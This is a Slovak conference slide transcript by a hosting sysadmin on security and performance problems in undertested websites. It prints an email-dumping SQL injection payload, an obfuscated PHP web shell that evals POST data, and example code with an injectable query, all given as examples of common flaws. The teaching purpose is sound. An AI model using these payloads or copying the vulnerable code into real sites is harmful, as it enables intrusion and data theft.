problémy, ktoré spôsobujú nedotestované/nedovyvíjané weby a aplikácie
TRANSCRIPT
![Page 1: Problémy, ktoré spôsobujú nedotestované/nedovyvíjané weby a aplikácie](https://reader036.vdocuments.site/reader036/viewer/2022071723/55c13887bb61ebf52b8b4610/html5/thumbnails/1.jpg)
Problémy, ktoré spôsobujú nedotestované/nedovyvíjané weby.
Ján Muráň
Od 2009 Yegon s.r.o → Webglobe s.r.o.
Systém administrátor
![Page 2: Problémy, ktoré spôsobujú nedotestované/nedovyvíjané weby a aplikácie](https://reader036.vdocuments.site/reader036/viewer/2022071723/55c13887bb61ebf52b8b4610/html5/thumbnails/2.jpg)
Obsah
● Nedotestované weby
● Najčastejšie chyby
● Príklady a riešenia najčastejších chýb
● Otázky
![Page 3: Problémy, ktoré spôsobujú nedotestované/nedovyvíjané weby a aplikácie](https://reader036.vdocuments.site/reader036/viewer/2022071723/55c13887bb61ebf52b8b4610/html5/thumbnails/3.jpg)
Na čo sa treba zamerať, keď sa nám dostane do rúk nedotestovaný web
alebo aplikácia
● Ochrana dát webu- zabezpečiť prístup k dátam ftp – geoip
- zabezpečenie vstupov, GET, POST, upload
- ošetrenie prístupových práv adresárom a súborom
![Page 4: Problémy, ktoré spôsobujú nedotestované/nedovyvíjané weby a aplikácie](https://reader036.vdocuments.site/reader036/viewer/2022071723/55c13887bb61ebf52b8b4610/html5/thumbnails/4.jpg)
Na čo sa treba zamerať, keď sa nám dostane do rúk nedotestovaný web
alebo aplikácia
● Ochrana prostredia, v ktorom beží web- spolupráca s webhostingovým providerom, (bezpečnostné moduly, cache, jail, mod_chroot)
- zdielaný hosting vs privátne riešenia na mieru (cloud, serverhousing)
![Page 5: Problémy, ktoré spôsobujú nedotestované/nedovyvíjané weby a aplikácie](https://reader036.vdocuments.site/reader036/viewer/2022071723/55c13887bb61ebf52b8b4610/html5/thumbnails/5.jpg)
Na čo sa treba zamerať, keď sa nám dostane do rúk nedotestovaný web
alebo aplikácia
● Ošetriť vplyvy na výkon
- analýza webu z pohľadu spotreby výkonu
- výber HW prostredia na ktorom bude bežať web (zdielaný hosting, serverhousing, cloud)
![Page 6: Problémy, ktoré spôsobujú nedotestované/nedovyvíjané weby a aplikácie](https://reader036.vdocuments.site/reader036/viewer/2022071723/55c13887bb61ebf52b8b4610/html5/thumbnails/6.jpg)
![Page 7: Problémy, ktoré spôsobujú nedotestované/nedovyvíjané weby a aplikácie](https://reader036.vdocuments.site/reader036/viewer/2022071723/55c13887bb61ebf52b8b4610/html5/thumbnails/7.jpg)
Najčastejšie chyby
● Neošetrenie vstupov
● Nesprávne napísané query databáz
● Zlá štruktúra databáz
● Online resize obrázkov
![Page 8: Problémy, ktoré spôsobujú nedotestované/nedovyvíjané weby a aplikácie](https://reader036.vdocuments.site/reader036/viewer/2022071723/55c13887bb61ebf52b8b4610/html5/thumbnails/8.jpg)
Príklady a riešenia najčastejších chýb
Neošetrený vstup
GET,POST
domena.tld/index.php?id=511111111111111111111111111%27%20UNION%20SELECT%201,2,3,4,CONCAT%28CHAR%28100,100,100%29,CHAR%2891,88,93%29,GROUP_CONCAT%28t.email%29,CHAR%2891,88,88,93%29%29,6,7,8%20FROM%20%28SELECT%20email%20FROM%20table.%60mail%60%20WHERE%20%60email%60%20LIKE%20char%2837,64,37%29%20LIMIT%20103440,20%29t%20%20%20%20limit%200,1%20--%20/*%20order%20by%20%27as
select * from articles,categories WHERE categories.id= articles.id_category and articles.id = '2811111111111111111111111111' UNION SELECT 1,2,3,4,CONCAT(CHAR(100,100,100),CHAR(91,88,93),GROUP_CONCAT(t.email),CHAR(91,88,88,93)),6,7,8 FROM (SELECT email FROM table.`mail` WHERE `email` LIKE char(37,64,37) LIMIT 810954,20)t limit 0,1 -- /* order by 'as' and publish_date > '0000-00-00'
![Page 9: Problémy, ktoré spôsobujú nedotestované/nedovyvíjané weby a aplikácie](https://reader036.vdocuments.site/reader036/viewer/2022071723/55c13887bb61ebf52b8b4610/html5/thumbnails/9.jpg)
Príklady a riešenia najčastejších chýb
Neošetrený vstup
UPLOAD
error.php,db.php, info.php....<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['ncdd94a'])) {eval($s21(${$s20}['ncdd94a']));}
eval(base64_decode($_POST['ncdd94a']));
![Page 10: Problémy, ktoré spôsobujú nedotestované/nedovyvíjané weby a aplikácie](https://reader036.vdocuments.site/reader036/viewer/2022071723/55c13887bb61ebf52b8b4610/html5/thumbnails/10.jpg)
Nesprávne napísané query databáz
● Nepoužívanie indexov
● Nesprávne join query# Time: 141110 6:43:16
# User@Host: db[host] @ localhost []
# Query_time: 12.797832 Lock_time: 0.001288 Rows_sent: 57709 Rows_examined: 955021
![Page 11: Problémy, ktoré spôsobujú nedotestované/nedovyvíjané weby a aplikácie](https://reader036.vdocuments.site/reader036/viewer/2022071723/55c13887bb61ebf52b8b4610/html5/thumbnails/11.jpg)
Nesprávne napísané query databáz
● Where like '%text%'menšie tabuľky - fulltext – ove vyhľadávanie
väčšie tabuľky – vyhľadávacie enginy (elasticsearch)
![Page 12: Problémy, ktoré spôsobujú nedotestované/nedovyvíjané weby a aplikácie](https://reader036.vdocuments.site/reader036/viewer/2022071723/55c13887bb61ebf52b8b4610/html5/thumbnails/12.jpg)
Nesprávne napísané query databáz
Select * FROM wordmatch WHERE word_id IN ('1', '2', '3', '4', '7', '10', '11', '13', '14', '16', '17', '18', '19', '20', '21', '23', '24', '28',...................... '9942', '9962', '9967', '9987', '10007', '10009', '10011', '10012', '10021', '10052', '10064', '10070', '10073', '10077', '10085', '10093', '10123', '10143', '10152', '10189', '10190', '10209', '10219', '10252', '10267', '10286', '10309', '10316', '10318', '10337', '10344', '10355', '10359', '10364', '10379', '10384', '10385', '10393', '10396', '10431', '10439', '10459', '10460', '10538', '10572', '10576', '10593', '10616', '10620', '10627', '10638', '10646', '10660', '10669', '10674', '10700', '10715', '10719', '10728', '10744', '10834', '10835', '10840', '10881', '10886', '10888', '10899', '10917', '10920', '10921', '10992', '11012', '11014', '11048', '11067', '11084', '11085', '11105', '11139', '11198', '11310', '11324', '11389', '11402', '11420', '11422', '11423', '11443', '11455', '11481', '11649', '11665', '11695', '11774', '11784', '11810', '11811', '11812', '11813', '11816', '11818', '11821', '11822', '11825', '11827', '11828', '11858', '11864', '11892', '11919', '11941', '11961', '11968', '12003', '12013', '12088', '12111', '12143', '12325', '12329', '12332', '12339', '12343', '12344', '12400', '12488', '12496', '12504', '12506', '12522', '12589', '12601', '12609', '12709', '12733', '12750', '12762', '12765', '12785', '12806', '12824', '12847', '12848', '12849', '12944', '13037', '13332', '13401', '13505', '13565', '13789', '13807', '13840', '13910', '13914', '13929', '13930', '13964', '14011', '14099', '14168', '14249', '14266', '14294', '14295', '14380', '14410', '14418', '14508', '14674', '14819', '15045', '15365', '15417', '15532', '15559', '16384', '16451', '16516', '16789');
BETWEEN min AND max;
![Page 13: Problémy, ktoré spôsobujú nedotestované/nedovyvíjané weby a aplikácie](https://reader036.vdocuments.site/reader036/viewer/2022071723/55c13887bb61ebf52b8b4610/html5/thumbnails/13.jpg)
Príklad online resize
- obrázky uložene len v jednej veľkosti
- prístup cez image.php?img=671&size=small
Select * from images where id='{$img}'
$image
$im = new imagick(„path“.$image['name']);
$im->resizeImage(50,50,1,0);
header("Content-Type: image/jpeg");
$thumbnail = $im->getImageBlob();
echo $thumbnail;